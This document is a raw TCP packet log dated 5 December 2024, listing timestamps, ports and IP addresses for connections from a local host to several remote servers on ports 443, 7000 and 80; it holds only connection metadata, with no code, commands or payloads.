Dec 5, 2024 14:01:30.361208916 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.361236095 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.361816883 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.361823082 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.506876945 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.507740974 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.507764101 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.508044004 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.508300066 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.508306026 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.508538961 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.508553982 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.509109020 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.509114027 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.605257988 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.605952978 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.605967045 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.606442928 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.606451035 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.796058893 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.796134949 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.796212912 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.796912909 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.796935081 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.796946049 CET	49745	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.796952963 CET	443	49745	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.800343990 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.800409079 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.800576925 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.800818920 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.800842047 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.859297037 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.859349966 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.859363079 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.859425068 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.859484911 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.859498978 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.859536886 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.899141073 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.941200972 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.941276073 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.942524910 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.942584038 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.942629099 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.942676067 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.942895889 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.942914963 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.942925930 CET	49746	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.942931890 CET	443	49746	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.944458008 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.944470882 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.944482088 CET	49747	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.944485903 CET	443	49747	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.946199894 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.946222067 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.946238995 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.946281910 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.946358919 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.946371078 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.946412086 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.947416067 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.947448969 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.947530985 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.948431015 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.948468924 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.948523998 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.948765039 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.948779106 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.949098110 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:30.949112892 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:30.979990005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.980047941 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:30.980093956 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.983540058 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:30.983716965 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.039724112 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.039789915 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.039894104 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.040400028 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.040421009 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.043174028 CET	49748	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.043181896 CET	443	49748	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.046246052 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.046278000 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.047610044 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.047801018 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.047815084 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.052184105 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.052345991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.055928946 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.056269884 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.056329966 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.057650089 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.062488079 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.062547922 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.063575983 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.070794106 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.070916891 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.071494102 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.079241991 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.079293966 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.079473019 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.138153076 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.138295889 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.139560938 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.142332077 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.142576933 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.142648935 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.150909901 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.151038885 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.151911020 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.159420967 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.159533978 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.159753084 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.167522907 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.167623997 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.171555996 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.176515102 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.176600933 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.179881096 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.184416056 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.227257013 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.244179964 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.244201899 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.244275093 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.247020960 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.247955084 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.248090029 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.248140097 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.253798962 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.253823042 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.253878117 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.259618044 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.259665966 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.259768963 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.265448093 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.265470982 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.265522957 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.271274090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.271409988 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.271469116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.277149916 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.277218103 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.277240038 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.283004045 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:31.283504963 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:31.767020941 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.770986080 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.771013975 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:31.773617029 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:31.773626089 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.203741074 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.203818083 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.205519915 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.209577084 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.209594965 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.209614038 CET	49749	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.209620953 CET	443	49749	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.209872007 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:32.210571051 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:32.213926077 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.213968039 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.214099884 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.214257956 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.214274883 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.330290079 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:32.517479897 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.522670984 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.522686958 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.523245096 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.523251057 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.665895939 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.666486025 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.666506052 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.666745901 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.666996002 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.667002916 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.667005062 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.667020082 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.667470932 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.667478085 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.780297995 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.780819893 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.780838013 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.781311035 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.781316996 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.792706013 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:32.912448883 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:32.912667990 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:32.913115025 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:32.967940092 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.968014956 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.968055010 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.968302965 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.968322039 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.968333006 CET	49750	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.968339920 CET	443	49750	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.971359015 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.971398115 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:32.971462011 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.971587896 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:32.971604109 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.032825947 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:33.101339102 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.101413965 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.101466894 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.101727009 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.101727009 CET	49752	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.101747990 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.101758957 CET	443	49752	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.102080107 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.102140903 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.102246046 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.102423906 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.102423906 CET	49751	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.102441072 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.102452040 CET	443	49751	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.105966091 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.105995893 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.106070995 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.106214046 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.106228113 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.106257915 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.106298923 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.106385946 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.106446981 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.106452942 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.215208054 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.215276003 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.215332985 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.215724945 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.215740919 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.215751886 CET	49753	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.215770006 CET	443	49753	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.220527887 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.220551968 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.220644951 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.220809937 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.220822096 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.929792881 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.931809902 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.931835890 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:33.932320118 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:33.932324886 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.117794037 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:34.164767027 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:34.218883991 CET	49755	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:01:34.338968992 CET	80	49755	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:34.371980906 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.372052908 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.372129917 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.418359995 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.418371916 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.418381929 CET	49754	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.418387890 CET	443	49754	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.446897030 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.446938038 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.446993113 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.451828003 CET	49760	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.451843023 CET	443	49760	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.687982082 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.695065975 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.695091963 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.731667042 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.731697083 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.822854042 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.825488091 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.825514078 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.825546026 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.826513052 CET	49757	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.826519012 CET	443	49757	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.829231024 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.829257965 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.829621077 CET	49758	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.829626083 CET	443	49758	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.937939882 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.938616991 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.938644886 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:34.939183950 CET	49759	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:34.939188004 CET	443	49759	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.131521940 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.131591082 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.131665945 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.131947994 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.131967068 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.131978989 CET	49756	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.131984949 CET	443	49756	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.135726929 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.135756969 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.136054039 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.136054039 CET	49761	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:35.136086941 CET	443	49761	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:35.209692001 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.209836006 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.209919930 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.211703062 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.211786032 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.211843014 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.215574026 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.215794086 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.215842009 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.219496965 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.219597101 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.219650030 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.223318100 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.223419905 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.223470926 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.227384090 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.227533102 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.227585077 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.231148005 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.231242895 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.231300116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.235008955 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.235053062 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.235117912 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.238985062 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.239067078 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.239130974 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.242754936 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.243217945 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.243272066 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.246669054 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.246773958 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.246824980 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.250608921 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.250744104 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.250791073 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.254410028 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.254446983 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.254498005 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.258232117 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.258368969 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.258420944 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.263808012 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.263822079 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:01:35.263890982 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:01:35.267868042 CET	443	49757	13.107.246.63	192.168.2.6
